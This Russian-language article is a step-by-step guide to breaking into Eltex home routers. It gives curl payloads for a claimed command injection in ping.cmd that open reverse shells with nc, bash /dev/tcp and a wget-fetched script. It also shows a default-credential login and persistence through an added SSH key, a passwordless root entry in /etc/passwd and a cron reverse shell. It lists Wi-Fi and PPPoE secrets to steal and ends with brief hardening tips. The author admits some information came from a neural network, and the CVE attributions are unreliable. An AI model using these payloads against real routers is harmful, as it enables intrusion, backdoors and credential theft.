Сразу оговорюсь: всё нижеприведённое проверял на своём оборудовании, в образовательных целях.(P.S. это моя первая статья, прошу не судить строго, некоторую инфу брал с помощью нейронки)
1. Разведка: как понять, что перед вами Eltex
Перед атакой полезно убедиться, что цель – действительно Eltex. Самый простой способ – посмотреть MAC-адрес шлюза:Если первые три октета 68:13:E2 или D8:44:89 – это Eltex. Также можно открыть веб‑интерфейс (обычно http://192.168.0.1) и посмотреть заголовки или страницу входа.arp -n | grep 192.168.0.1
2. Две рабочие уязвимости
Нашёл две дыры, которые реально работают на свежих прошивках (проверял на версии 1.12.0 Build 221216).2.1 CVE-2020-9026 – Command Injection в ping.cmd
В веб‑интерфейсе Eltex есть скрипт ping.cmd, который не фильтрует пользовательский ввод. Вместо простого пинга можно выполнить любую системную команду.Проверка (замени IP на свой шлюз):
Если в ответе появится uid=0(root) gid=0(root) ... – уязвимость есть.curl -X POST --data "PING=8.8.8.8; id" "http://192.168.0.1/ping.cmd"
Reverse shell (получение полноценной оболочки):
- На своём компьютере запустите слушатель:
2.nc -lvnp 9001
Отправьте команду на роутер:
curl -X POST --data "PING=8.8.8.8; nc -e /bin/sh 192.168.0.209 9001" "http://192.168.0.1/ping.cmd"
- (где 192.168.0.209 – IP вашей машины в локальной сети)
- В окне nc вы получите shell роутера.
# Через bash
curl -X POST --data "PING=8.8.8.8; bash -c 'bash -i >& /dev/tcp/192.168.0.209/9001 0>&1'" "http://192.168.0.1/ping.cmd"
# Через wget + внешний скрипт (если роутер может выходить в интернет)
curl -X POST --data "PING=8.8.8.8; wget -O /tmp/shell.sh http://YOUR_IP/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh" "http://192.168.0.1/ping.cmd"
2.2 CVE-2018-15360 – стандартные учётные данные
Если владелец не менял пароль от веб‑интерфейса, можно зайти с парой user / user.Проверка:
curl -X POST -d "user=user&pass=user" "http://192.168.0.1/login.cgi" -v
При успехе сервер вернёт 302 Found и перенаправит на главную страницу.
Что делать дальше:
- Посмотреть Wi‑Fi пароль (обычно в разделе Wireless Security).
- Слить конфиг роутера (кнопка Backup).
- Поменять настройки, добавить свой SSH‑ключ.
3. Закрепление доступа (чтобы не потерять)
После получения shell можно установить постоянный бэкдор.3.1 Добавление SSH‑ключа
Если на роутере есть dropbear или openssh (порт 22 часто открыт):Затем подключитесь по SSH уже без пароля.mkdir -p /etc/dropbear
echo "ssh-rsa AAAAB3NzaC1yc2E..." > /etc/dropbear/authorized_keys
3.2 Добавление своего пользователя
Теперь можно логиниться как hacker без пароля.echo "hacker::0:0:root:/root:/bin/sh" >> /etc/passwd
3.3 Бэкдор через crontab
Каждые 5 минут роутер будет стучаться к вам.echo "*/5 * * * * nc -e /bin/sh 192.168.0.209 9002" >> /etc/crontabs/root
4.Что ещё полезного можно вытащить
- Wi‑Fi пароль – обычно в файле /tmp/wpa_supplicant.conf или в конфиге /etc/config/wireless
- Логи авторизации – /tmp/login.log (там могут быть сохранены введённые пароли)
- Конфигурация провайдера – VLAN ID, PPPoE логин/пароль
- Прописать своего бэкап‑пользователя в /etc/passwd
5. Защита (для белых шапок)
Если вы владелец такого роутера – вот что нужно сделать:- Отключить ненужные сервисы: Telnet, WAN‑доступ к веб‑интерфейсу, UPnP.
- Сменить пароль веб‑интерфейса на сложный (не user/user).
- Отключить Ping из WAN (если не нужно).
- Регулярно обновлять прошивку – производитель закрывает такие дыры.
- Использовать гостевую Wi‑Fi сеть для отделения своих устройств.
- Проверить, нет ли левых SSH‑ключей в /etc/dropbear/authorized_keys.
6. Безопасность автора.
Вы обратили внимание, что в примерах указаны IP-адреса вроде 192.168.0.1 и 192.168.0.209.Это локальные (частные) IP-адреса, которые используются только внутри вашей домашней сети. Они не видны из глобального интернета и не могут быть использованы для взлома вашего компьютера посторонними. Даже если вы скопируете команды со своим локальным IP, злоумышленник, находящийся за пределами вашей сети, не сможет по нему ничего сделать.
LIMB